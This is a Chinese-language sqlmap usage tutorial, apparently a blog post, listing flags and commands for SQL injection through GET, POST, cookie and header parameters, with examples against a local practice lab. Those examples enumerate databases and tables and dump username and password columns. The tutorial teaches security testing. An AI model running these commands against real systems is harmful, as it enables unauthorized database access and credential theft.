SQLmap常用命令/使用教程

简介: Lmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

SQLmap是一款自动化SQL注入神器,用于SQL注入漏洞的检测和利用,支持多种数据库

检测位置

-u      -- 指定url(GET请求)
-p      -- 指定参数(url包含多个参数时,指定参数)
--data=   -- 指定POST请求参数
--cookie  -- 指定cookie参数
-r      -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

1. --dbs    -- 获取数据库名
2. --tables -- 获取表名
3. --columns  -- 获取字段名
4. --dump   -- 获取数据
5. -D -- 指定数据库
6. -T -- 指定表
7. -C -- 指定字段

其他设置

--batch   -- 自动化确认
--tamper  -- 指定脚本
--dbms    -- 指定数据库类型
--os    -- 指定操作系统(windows/linux)
--level   -- 指定探测等级(1~5)
--current-db  -- 获取当前数据库的名字
-b  -- 获取数据库版本信息
-f  -- 获取数据库指纹
--users -- 当前使用的用户
--delay -- 设置延时
--technique -- 指定注入方式
  U 联合注入
  E 报错注入
  B 布尔盲注
  T 时间盲注

针对不同的注入位置

GET请求注入

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"

COOKIE注入

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入(User-agent/Referer/Cookie等HTTP Header),拦截get,post等HTTP请求,将所有请求内容复制到target.vm文件中,在需要检测的Header后面加上*,并且需要level>=3

sqlmap -r target.vm --level 3 --dbs

获取数据

获取所有数据库

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs

获取指定数据库中的所有表

sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables

获取指定数据库中指定表的所有字段

sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns

获取指定数据库中指定表中指定字段的所有数据

sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump

HTTP Header头注入

1.拦截post请求信息,并将请求信息的全部内容复制到文件中,

2.在需要检测的Header位置添加*

3.使用SQLmap对指定文件进行检测,SQLmap会自动检索*,从而对目标Header进行检测

image.png

相关文章
|
Python Windows
sqlmap安装及简介
sqlmap安装及简介
410 0
|
6月前
|
SQL 数据库 Python
sqlmap的安装及使用教程_sqlmap安装使用教程
sqlmap的安装及使用教程_sqlmap安装使用教程
|
Shell 开发工具 git
Git安装与使用方法入门
Git是一个帮助开发者追踪代码变化和团队协作的工具。它记录了代码修改的历史,并允许回到过去的版本。开发者可以创建分支来独立开发新功能,而不影响主代码。团队成员可以共享代码,并轻松合并修改。Git提供了高效的工作流程和协作机制,使代码管理更简单。总之,Git是一个强大而灵活的工具,适用于个人和团队开发。
170 0
|
6月前
|
安全 生物认证 数据库
2021Kali系列 -- Sqlmap基础操作
2021Kali系列 -- Sqlmap基础操作
74 0
|
6月前
|
开发工具
2021Kali系列 -- 基础命令学习(一)
2021Kali系列 -- 基础命令学习(一)
72 0
|
6月前
|
Shell 文件存储 数据安全/隐私保护
2021Kali系列 -- 基础命令学习(二)
2021Kali系列 -- 基础命令学习(二)
42 0
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
368 0
|
SQL 安全 关系型数据库
某教程学习笔记(一):12、sqlmap使用介绍
某教程学习笔记(一):12、sqlmap使用介绍
292 0
某教程学习笔记(一):12、sqlmap使用介绍
|
SQL NoSQL 算法
MongoDB安装教程
mongodb是⾮关系型数据库 但是很像关系型 -⽀持的查询语⾔⾮常的强⼤ -索引(提⾼数据检索的效率) -⽀持的数据结构⽐较松散
258 0
MongoDB安装教程
|
安全 Java Linux
Git安装教程及常用命令
  SVN是集中式版本控制系统,版本库是集中放在中央服务器的,而干活的时候,用的都是自己的电脑,所以首先要从中央服务器哪里得到最新的版本,然后干活,干完后,需要把自己做完的活推送到中央服务器。集中式版本控制系统是必须联网才能工作,如果在局域网还可以,带宽够大,速度够快,如果在互联网下,如果网速慢的话,就纳闷了。
304 0
Git安装教程及常用命令